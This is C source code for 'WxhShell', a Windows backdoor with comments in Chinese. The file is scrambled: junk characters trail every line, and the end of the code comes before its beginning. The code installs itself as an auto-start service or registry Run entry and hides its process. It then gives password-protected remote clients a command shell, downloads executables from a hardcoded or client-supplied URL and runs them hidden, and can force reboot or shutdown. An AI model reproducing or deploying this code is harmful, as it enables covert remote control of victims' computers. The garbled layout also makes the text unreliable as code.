    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :~1sF_  
    else { ,GH;jw)P  
    closesocket(wsh); >){"x(4`  
    ExitThread(0); /QeJ#EHn  
    } iO,_0Y4  
    break; D@cv{ _M/  
    } O0Vtvbj  
  // 获取shell c< P ML|e  
  case 's': { t'{\S_  
    CmdShell(wsh); U0Y;*_>4  
    closesocket(wsh); fZ*LxL  
    ExitThread(0); .<Lbv5m  
    break; =Bq3O58+  
  } RrPo89o  
  // 退出 +TQMA >@g<  
  case 'x': { !k= ~5)x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TL?(0]H fe  
    CloseIt(wsh); 2unaK<1s  
    break; MzY~-74aF  
    } .-Xp]>f,  
  // 离开 HaUfTQ8  
  case 'q': { <e s>FD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E(;V.=I  
    closesocket(wsh); l-Q.@hG  
    WSACleanup(); ;hsem,C h7  
    exit(1); )TmqE<[  
    break; !)}3[h0  
        }  >Mzk;TM  
  } }c"1;C&{  
  } jv C.T]<B  
.=nx5y z  
  // 提示信息 ![{>$Q?5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;B'5B]A3  
} 45u\v2,C3  
  } k[6xuyY]  
"XU M$:D  
  return; 5yHarC  
} xgX"5Czvv`  
.5;Xd?  
// shell模块句柄 s L9,+  
int CmdShell(SOCKET sock) >Y h7By  
{ 1%;o-F@  
STARTUPINFO si; ,1s,G]%M  
ZeroMemory(&si,sizeof(si)); Gxtb@`f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I4%p?'i,C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7h3#5Y  
PROCESS_INFORMATION ProcessInfo; @Y~R*^n"}  
char cmdline[]="cmd"; yJheni  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  fn1G^a=  
  return 0; q Z,7q  
} 3y9K'  
7q'_]$  
// 自身启动模式 >z`^Q[  
int StartFromService(void) RO([R=.`/  
{ Z]1=nSv  
typedef struct eu]t.Co[X  
{ Nf#8V|  
  DWORD ExitStatus; RcASFBNpS  
  DWORD PebBaseAddress; 7^fpbrj  
  DWORD AffinityMask; C{i9~80n  
  DWORD BasePriority; gm-I)z!tz  
  ULONG UniqueProcessId; vSt7&ec  
  ULONG InheritedFromUniqueProcessId; }|k_sx:  
}   PROCESS_BASIC_INFORMATION; fY|Bc<,V9)  
|b@H]c;"  
PROCNTQSIP NtQueryInformationProcess; fVU9?^0/)9  
5i+0GN3nd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \uumNpB*n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f?ImQYqP  
T4OH,^J  
  HANDLE             hProcess; = }&@XRLJ  
  PROCESS_BASIC_INFORMATION pbi; ]y4(WG;:  
3c"$@W:>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M<A*{@4$w&  
  if(NULL == hInst ) return 0; _:: q S!  
=?*6lS}gy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Lqt.S|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Koi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aX oD{zA  
tA?cHDp4E  
  if (!NtQueryInformationProcess) return 0; >d`XR"_e  
S G&VZY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yU-^w^4  
  if(!hProcess) return 0; |NbF3 fD  
"funFvY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8$|< `:~J  
WMo   
  CloseHandle(hProcess); a w0;  
& *^FBJEa.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]vyu!  
if(hProcess==NULL) return 0; X `[P11`  
JQ>GKu~  
HMODULE hMod; U5 `h  
char procName[255]; GAZTCkB"  
unsigned long cbNeeded; [3yzVcr~4  
4k HFfc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RGeM.  
2 kOFyD  
  CloseHandle(hProcess); -:hiLZJ7-  
<K~> :4c  
if(strstr(procName,"services")) return 1; // 以服务启动 9>t  
9@Iz:!oqb  
  return 0; // 注册表启动 ')d&:K*M  
} NF}QQwG3  
$[L8UUHY<8  
// 主模块 $`2rtF  
int StartWxhshell(LPSTR lpCmdLine) &B^zu+J  
{ )JO#Z(  
  SOCKET wsl; @R5jUPUVV  
BOOL val=TRUE; #Ub"Ii  
  int port=0; wD|3Czc  
  struct sockaddr_in door; *4i)aj  
O8; `6r  
  if(wscfg.ws_autoins) Install(); A`=;yD  
.4M8  
port=atoi(lpCmdLine); )HrFWI'Y  
m])!'Pa( =  
if(port<=0) port=wscfg.ws_port; !)jw o=l}J  
W+A-<Rh\  
  WSADATA data; tQSj[Yl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Qy)+YhE  
Xq3n7d.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =!axQ[)A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); thoAEG80  
  door.sin_family = AF_INET; ")/TbT Vu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hX-([o  
  door.sin_port = htons(port); egBjr?  
+GgJFBl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AL%gqt]  
closesocket(wsl); E8TJ*ZU  
return 1; U~~Y'R\ NU  
} )KZ1Z$<  
i6"/GSA  
  if(listen(wsl,2) == INVALID_SOCKET) { IETdL{`~  
closesocket(wsl); q P<n<  
return 1; Sv*@3x  
} 6^W6As0  
  Wxhshell(wsl); Kn9O=?Xh;  
  WSACleanup(); uS9:cdH  
]!u12^A{  
return 0; hK!Z ~  
!Gv*iWg  
} _(CuuP$`I  
%X)i-^T  
// 以NT服务方式启动 ~s}0z&v^te  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2v!ucd}  
{ *WSH-*0  
DWORD   status = 0; 4=j,:q  
  DWORD   specificError = 0xfffffff; Fq{Z-yVp  
j3Ng] @N  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  #RE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V#j|_N1hm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Gj[+{  
  serviceStatus.dwWin32ExitCode     = 0; MA:2]l3e  
  serviceStatus.dwServiceSpecificExitCode = 0; 4_CV.?  
  serviceStatus.dwCheckPoint       = 0; /UJ@e  
  serviceStatus.dwWaitHint       = 0; 87/!u]q  
9n$0OH /q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A),nkw0X  
  if (hServiceStatusHandle==0) return; so* lV  
GZL{~7n  
status = GetLastError(); J`6X6YZ  
  if (status!=NO_ERROR) tMN^"sjf*  
{ ~, hPi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0D;MW  
    serviceStatus.dwCheckPoint       = 0; $rB20!  
    serviceStatus.dwWaitHint       = 0; -1tdyCez  
    serviceStatus.dwWin32ExitCode     = status; OD,"8JF  
    serviceStatus.dwServiceSpecificExitCode = specificError; |!r.p_Zt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N=qe*Rlf  
    return; vYh_<Rp5  
  } NF& ++Vr6  
5zebH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %5X}4k!p  
  serviceStatus.dwCheckPoint       = 0; go, Hfb  
  serviceStatus.dwWaitHint       = 0; N4 O'{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :!omog  
} ,/.U'{  
jTNfGu0x  
// 处理NT服务事件,比如:启动、停止 F&{RP>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IAr  
{ ^wL n  
switch(fdwControl) Jjb(lW  
{ m){.{Vn]  
case SERVICE_CONTROL_STOP: G)(\!0pNZ  
  serviceStatus.dwWin32ExitCode = 0; zVLv-U/=d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?[4!2T,Ca  
  serviceStatus.dwCheckPoint   = 0; Ua.7_Em  
  serviceStatus.dwWaitHint     = 0; )PC(1Zn  
  { u-W6 hZ$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mr}]P(4h  
  } )"  H$1  
  return; ]Gw?DD|Gn  
case SERVICE_CONTROL_PAUSE: S~"1q 0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {VC4rA  
  break; B/IPG~aMEZ  
case SERVICE_CONTROL_CONTINUE: 1a#oJU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B,SH9,  
  break; GW ]E,a  
case SERVICE_CONTROL_INTERROGATE: :kycIM]s  
  break; =e7,d$i  
}; <B]\&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Mset^o  
} N0be=IO5#  
zcrLd={  
// 标准应用程序主函数 {;(X#vK}9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LGN,8v<W(  
{ /K mzi9j+  
(wmMHo|  
// 获取操作系统版本 d*26;5~\  
OsIsNt=GetOsVer(); M\wIpRD,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xCH,d:n=  
L[zg2y  
  // 从命令行安装 iSTr;>A  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3F,$} r#  
W_EM k  
  // 下载执行文件 _m!TUT8o  
if(wscfg.ws_downexe) { |irqv< r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dw)SF,  
  WinExec(wscfg.ws_filenam,SW_HIDE); %?^T^P  
} $|v_ pjUu]  
^/ K\a ,  
if(!OsIsNt) { j(|G) F  
// 如果时win9x,隐藏进程并且设置为注册表启动 DPvM|n`TW  
HideProc(); Bcx-t)[  
StartWxhshell(lpCmdLine); !UE' AB  
} D_GIj$%N[  
else yD iL  
  if(StartFromService()) q<>  
  // 以服务方式启动 W G2 E3y  
  StartServiceCtrlDispatcher(DispatchTable); JZp*"UzQr  
else SWr?>dl  
  // 普通方式启动 DpIv <m]  
  StartWxhshell(lpCmdLine); OL]^4m  
\F%5TRoC  
return 0; ;dl>  
} r}OK3J  
[h8j0Q@Q  
N=K|Nw  
v*%#Fp,g8  
=========================================== LTu cs }  
03*` T  
aG7QLCL  
%iWup:  
Gx ?p,Fj  
q/xMM `{  
" RQI?\?o  
!|`G<WD  
#include <stdio.h> ]trVlmZXH}  
#include <string.h> *D ld?Q  
#include <windows.h> f[3DKA  
#include <winsock2.h> ;aBK4<-vl  
#include <winsvc.h> -SaH_Nuj  
#include <urlmon.h> PF@+~FI  
vS-k0g;   
#pragma comment (lib, "Ws2_32.lib") ._m+@Uy]H}  
#pragma comment (lib, "urlmon.lib") O=}4?Xv  
'~i} 2e.  
#define MAX_USER   100 // 最大客户端连接数 wZVY h  
#define BUF_SOCK   200 // sock buffer P0J3ci}^  
#define KEY_BUFF   255 // 输入 buffer HlqvXt\  
SU OuayE  
#define REBOOT     0   // 重启 &Zl$7  
#define SHUTDOWN   1   // 关机 $:"r$7  
SU;PmG4  
#define DEF_PORT   5000 // 监听端口 <v;;:RB6c  
gB@Xi*  
#define REG_LEN     16   // 注册表键长度 '3Yci(t+  
#define SVC_LEN     80   // NT服务名长度 I|lz;i}$  
Z~{0XG\Y  
// 从dll定义API 2g1[ E_?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /5 Wy) -  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a'w~7y!}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R6HMi#eF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <}-[9fW  
Pg" uisT#>  
// wxhshell配置信息 brJ _q0@  
struct WSCFG { O(;K ]8  
  int ws_port;         // 监听端口 hK9Trrwau  
  char ws_passstr[REG_LEN]; // 口令 }l&Uh &B`  
  int ws_autoins;       // 安装标记, 1=yes 0=no J& }/Xw)  
  char ws_regname[REG_LEN]; // 注册表键名 Pl<r*d)h  
  char ws_svcname[REG_LEN]; // 服务名  6\ /x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @cdd~9w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %3scz)4$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 naCPSsei  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2b xkZS]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T1hr5V<U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~U`oew  
WyVFh AuU  
}; Eq^k @  
k|Vq-w  
// default Wxhshell configuration ep .AW'+  
struct WSCFG wscfg={DEF_PORT, <b>@'\w9  
    "xuhuanlingzhe", *@=in7*c  
    1, Mk"+*G  
    "Wxhshell", MB :knj  
    "Wxhshell", 5R}Qp<D[^  
            "WxhShell Service", -4`Wkkhu  
    "Wrsky Windows CmdShell Service", VO3&!uOd  
    "Please Input Your Password: ", kA?a}   
  1, Yu-e |:  
  "http://www.wrsky.com/wxhshell.exe", #+HLb  
  "Wxhshell.exe" Q[_{:DJA  
    }; OiNzN.}d  
_x 'R8/  
// 消息定义模块 pkpD1c^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IRNL(9H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xy$73K6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b'Qia'a%  
char *msg_ws_ext="\n\rExit."; "P HkbU  
char *msg_ws_end="\n\rQuit."; {8UYu2t  
char *msg_ws_boot="\n\rReboot..."; *"` dO9Yf_  
char *msg_ws_poff="\n\rShutdown..."; *T j(IN  
char *msg_ws_down="\n\rSave to "; Y~Y-L<`I  
9{|JmgO!  
char *msg_ws_err="\n\rErr!"; G\G TS}u[  
char *msg_ws_ok="\n\rOK!"; >k,|N4(  
J]/TxUE  
char ExeFile[MAX_PATH]; ES!$JWK|  
int nUser = 0; 3^ ~M7=k  
HANDLE handles[MAX_USER]; Mg;%];2Nt  
int OsIsNt; $Z6g/bD`E  
mZ 39 s  
SERVICE_STATUS       serviceStatus; dt(~)*~R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;]zV ?9  
lY/{X]T.(  
// 函数声明 0xrr9X<  
int Install(void); QQUeY2}  
int Uninstall(void); \O5`R-  
int DownloadFile(char *sURL, SOCKET wsh); )&]gX  
int Boot(int flag); ,/AwR?m  
void HideProc(void); gRv5l3k  
int GetOsVer(void); #j -bT4!  
int Wxhshell(SOCKET wsl); P'f =r%  
void TalkWithClient(void *cs); m7wD#?lm  
int CmdShell(SOCKET sock); CY#|VE M  
int StartFromService(void); /ylO["<Q  
int StartWxhshell(LPSTR lpCmdLine); 1ael{b!  
)o)<5Iqh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }&D~P>1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h\\fb[``  
qd#?8  
// 数据结构和表定义 RY'f%c  
SERVICE_TABLE_ENTRY DispatchTable[] = _@9[c9bO  
{ kcKcIn{  
{wscfg.ws_svcname, NTServiceMain}, \"Z^{Y[,;  
{NULL, NULL} &<6E*qM  
}; *,<A[XP  
vdw5T&Q{{C  
// 自我安装 z<aBGG  
int Install(void) tJ[yx_mf  
{ l+!!S"=8)~  
  char svExeFile[MAX_PATH]; KBJw7rra  
  HKEY key; pSp/Qpb-B  
  strcpy(svExeFile,ExeFile); [P.M>"c\  
j#QJ5(#  
// 如果是win9x系统,修改注册表设为自启动 P8!ON=  
if(!OsIsNt) { Ix@rn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n&ZA rJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r(;oDdVc  
  RegCloseKey(key); nVkx Q?2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^Pl(V@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c} )U:?6  
  RegCloseKey(key); 3/c3e{,!  
  return 0; .[&0FHnJ5  
    } 2 Ya)I k{  
  } it]im  
} q1ybJii  
else { r09gB#K4  
873$EiyXR  
// 如果是NT以上系统,安装为系统服务 ]j> W9n?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hkV;(Fr&z  
if (schSCManager!=0) {hQ0=rv<  
{ S :)Aj6>6  
  SC_HANDLE schService = CreateService ]D?//  
  ( ta"uxL\gge  
  schSCManager, G165grGFd  
  wscfg.ws_svcname, 2%|  
  wscfg.ws_svcdisp, Aq' yr,  
  SERVICE_ALL_ACCESS, zh`!x{Z?^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  8:=&=9%  
  SERVICE_AUTO_START,  gGF]Dq  
  SERVICE_ERROR_NORMAL, e ewhT ^  
  svExeFile, Xi$( U8J_  
  NULL, _M'WTe  
  NULL, I\ e?v`e  
  NULL, Mo?eVtZ  
  NULL, s~e<Pr?yu  
  NULL 4 =/5  
  ); hRAI7xk  
  if (schService!=0) 7P1G^)  
  { xz2U?)m;x  
  CloseServiceHandle(schService); 9V&} %  
  CloseServiceHandle(schSCManager); PdiP5S }/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .T~<[0Ex+U  
  strcat(svExeFile,wscfg.ws_svcname); Mx9#YJ?t~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PWeCk2xH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sF9{(Us  
  RegCloseKey(key); +&hhj~I.  
  return 0; cUW>`F( S  
    } _)|_KQQu  
  } BGM5pc (ei  
  CloseServiceHandle(schSCManager); .*XELP=BT  
} ?88k`T'EI  
} +;z^qn  
W P7RX|7  
return 1; eu=G[>  
} 1 & G0;  
|OW/-&)  
// 自我卸载 }/tT=G]91  
int Uninstall(void) 337y,;  
{ eC%uu  
  HKEY key; =5:L#` .  
z4t.- 9(C  
if(!OsIsNt) { $t*>A+J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |-Rg].  
  RegDeleteValue(key,wscfg.ws_regname); =$bJ`GpJ  
  RegCloseKey(key); fP 1V1ao  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PJd7t% m;  
  RegDeleteValue(key,wscfg.ws_regname); Pdgn9  
  RegCloseKey(key); 3a9%djGq  
  return 0; 5)712b(&  
  } 758`lfz=_  
} nW)-bAV<  
} =^liong0  
else { lMkDLobos  
%=p:\+`VI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s P=$>@3  
if (schSCManager!=0) Y~I$goT  
{ GMk\ l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k^<s|8Y  
  if (schService!=0) TUE*mDRmP  
  { }f rij1/G  
  if(DeleteService(schService)!=0) { pypW  
  CloseServiceHandle(schService); gut[q  
  CloseServiceHandle(schSCManager); DI9hy/T(  
  return 0; <//82j+px  
  } eKRslMa  
  CloseServiceHandle(schService); ;8F|Q<`pV  
  } /zt9;^e  
  CloseServiceHandle(schSCManager); \9;SOAv  
} vjo@aY.x  
} ?yAp&Ad  
+65OR'd  
return 1; )1CYs4lp  
} )"( ojh  
6yDj1PI  
// 从指定url下载文件 ,m4M39MWJ  
int DownloadFile(char *sURL, SOCKET wsh) JA]TO (x  
{ 0!4;."S  
  HRESULT hr; cnJL*{H<2  
char seps[]= "/"; '5^$v{  
char *token; g/*x;d=  
char *file; m(2(Caz{  
char myURL[MAX_PATH]; "n<rP 3y  
char myFILE[MAX_PATH]; QuF76&)7  
X?6E0/r&9  
strcpy(myURL,sURL); [^N8v;O  
  token=strtok(myURL,seps); 4Cd#S9<ed  
  while(token!=NULL) +f5|qbX/\  
  { !v/j*'L<M}  
    file=token; GUX! kj  
  token=strtok(NULL,seps); Gp 8%n  
  } F4P=Wz]  
>Xz=E0;^Ua  
GetCurrentDirectory(MAX_PATH,myFILE); ? PIq/[tk  
strcat(myFILE, "\\"); hMcSB8?  
strcat(myFILE, file); g(X-]/C{  
  send(wsh,myFILE,strlen(myFILE),0); 0wFa7PyG?  
send(wsh,"...",3,0); L&D+0p^lI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =1!,A  
  if(hr==S_OK) \VL_  
return 0; `/|S.a#g  
else eA4dDKX+  
return 1; J A=9EnTU  
#sHA!@ |  
} m7~<z>5$  
0LX"<~3j  
// 系统电源模块 Sn o7Ru2  
int Boot(int flag) @k< e]@r  
{ ,s=jtK  
  HANDLE hToken; gzHMZ/31  
  TOKEN_PRIVILEGES tkp; @M]uUL-ze  
$ 12mS  
  if(OsIsNt) { ;Avz%2#c`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B/:+(|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %_kXC~hH_  
    tkp.PrivilegeCount = 1; j|6@>T1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6}V)\"u&   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4=; . <  
if(flag==REBOOT) { XwZ~pY ~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z`FEB0$  
  return 0; ' 91-\en0  
} \>B$x@-wg  
else { t^8 ii  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *8QESF9  
  return 0; N}$$<i2o  
} _oV;Y`_  
  } z XI [f  
  else { >"OwdAvX  
if(flag==REBOOT) { 7g* "AEk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;8| D4+  
  return 0; sl5y1W/]]  
} -K"" 4SC2  
else { y_s^dQe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <N4)X"s  
  return 0; *\-R&8  
} asT/hsSNS  
} {2A| F{7>  
zRO-oOJ  
return 1; \(4"kY_=  
} Dw%V.J/&o  
]"ZL<?3g  
// win9x进程隐藏模块 .o27uB.  
void HideProc(void) '}nH\?(  
{ |"K<   
*Ce8( "v,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1v<,nABuJ6  
  if ( hKernel != NULL ) @yGK $<R  
  { `[OJ)tHE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZWtlOP#]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /w!!jj^  
    FreeLibrary(hKernel); 8fG$><@  
  } bqo+ b{i\  
%=ZN2)7{  
return; b]-~{' +  
} F!>92H~3G  
gI~4A,  
// 获取操作系统版本 AQUl:0!  
int GetOsVer(void) \n&l  
{ wgN)*dpuI  
  OSVERSIONINFO winfo; P#8+GN+bF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aEO``W  
  GetVersionEx(&winfo); 4R c_C0O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3?}\Hw  
  return 1; ?g ~w6|U(r  
  else v$WH#;(\  
  return 0; 8\AyKw  
} %OV)O-  
jX9{Ki"  
// 客户端句柄模块 g9T9TQ-O  
int Wxhshell(SOCKET wsl) C >@T+xOZ  
{ 1X ?9Ji)h  
  SOCKET wsh; m'!smS x8  
  struct sockaddr_in client; tny^sG/'  
  DWORD myID; ~BUzyc%  
z1K}] z%  
  while(nUser<MAX_USER) a>05Yxw  
{ : \{>+!`w  
  int nSize=sizeof(client); =7e|e6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4!q4WQ ;  
  if(wsh==INVALID_SOCKET) return 1; ?cZ#0U  
0P+B-K>n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5W Z9z-6  
if(handles[nUser]==0) nDFF,ge;a#  
  closesocket(wsh); ms(Z1ix^  
else o4[  
  nUser++; +zl2| '  
  } h/LlH9S:!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MrW*6jY@  
<FkoWN  
  return 0; @nh* H{  
} OBCH%\;g  
<P%<EgOE  
// 关闭 socket FX->_}kL=  
void CloseIt(SOCKET wsh) 2!w5eWl,  
{ i"B q*b@  
closesocket(wsh); 9s.x%m,  
nUser--; Mnv2tnU]  
ExitThread(0); w!5@PJ)~U  
} D*nNu]|j  
CnXl 7"  
// 客户端请求句柄 ,/bSa/x`  
void TalkWithClient(void *cs) bG|aQ2HW  
{ odPdWV,&*  
&'mq).I2  
  SOCKET wsh=(SOCKET)cs; eG @0:  
  char pwd[SVC_LEN]; Ala~4_" WL  
  char cmd[KEY_BUFF]; +,g"8&>  
char chr[1]; G $F3dx.I  
int i,j; San=E@3}v!  
#A:+|{H"  
  while (nUser < MAX_USER) { ]N& Y25oT5  
#GlQwk3  
if(wscfg.ws_passstr) { 5n1aRA1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qf'%".*=~8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sOf;I]E|  
  //ZeroMemory(pwd,KEY_BUFF); 1DTA Dh0  
      i=0; t_+Xt$Q7C  
  while(i<SVC_LEN) { ='\Di '*  
./KXElvQ%  
  // 设置超时 e7$ZA#A_5v  
  fd_set FdRead; cu@i;Hb@  
  struct timeval TimeOut; 4/Mi-ls_  
  FD_ZERO(&FdRead); IAl X^6s*  
  FD_SET(wsh,&FdRead); 1KI,/H"SY  
  TimeOut.tv_sec=8; ~{xm(p  
  TimeOut.tv_usec=0; MS=zG53y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'g@Yra&09  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @[=K`n:n_  
(v@)nv]U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,$,c<M  
  pwd=chr[0]; KJs/4oR;  
  if(chr[0]==0xd || chr[0]==0xa) { q!OB?03n  
  pwd=0; Q,`R-?v  
  break; y$Y*%D^w  
  } ov9+6'zya  
  i++; VJf|r#2  
    } Uc[ @]  
?x\tE]  
  // 如果是非法用户,关闭 socket 8NUVHcB6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d41DcgG'j(  
} m 4r!Ck|  
q b[UA5S\`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :g+5cs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AWG;G+  
O'i!}$=g  
while(1) { -,Oq=w*EV  
U?[_ d  
  ZeroMemory(cmd,KEY_BUFF); p_g#iH!*  
7C::%OF~7  
      // 自动支持客户端 telnet标准   p!_3j^"{  
  j=0; [2l2w[7Rid  
  while(j<KEY_BUFF) { <aPbKDF~V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nRSiW*;R  
  cmd[j]=chr[0]; kLfk2A;'i  
  if(chr[0]==0xa || chr[0]==0xd) { Y+kfMAv  
  cmd[j]=0; m) -D rbE  
  break; &| guPZ  
  } 6 o!*bWh  
  j++; '  ~F  
    } q\r@x-&g+  
Nj^:8]D)0  
  // 下载文件 *pP&$!bH%  
  if(strstr(cmd,"http://")) { 3%0ShMFP@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {~y,.[Ga  
  if(DownloadFile(cmd,wsh)) %RS~>pK1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <|kS`y  
  else 7%0V?+]P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .:U`4 ->E  
  } Y;uQq-CP  
  else { N6%wHNYZ  
^F?}MY>  
    switch(cmd[0]) { S!r,p};  
  p3q >a<  
  // 帮助 Fs}vI~}  
  case '?': { MKPw;@-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pFW^   
    break; !!we4tWq  
  } _=Eb:n+X  
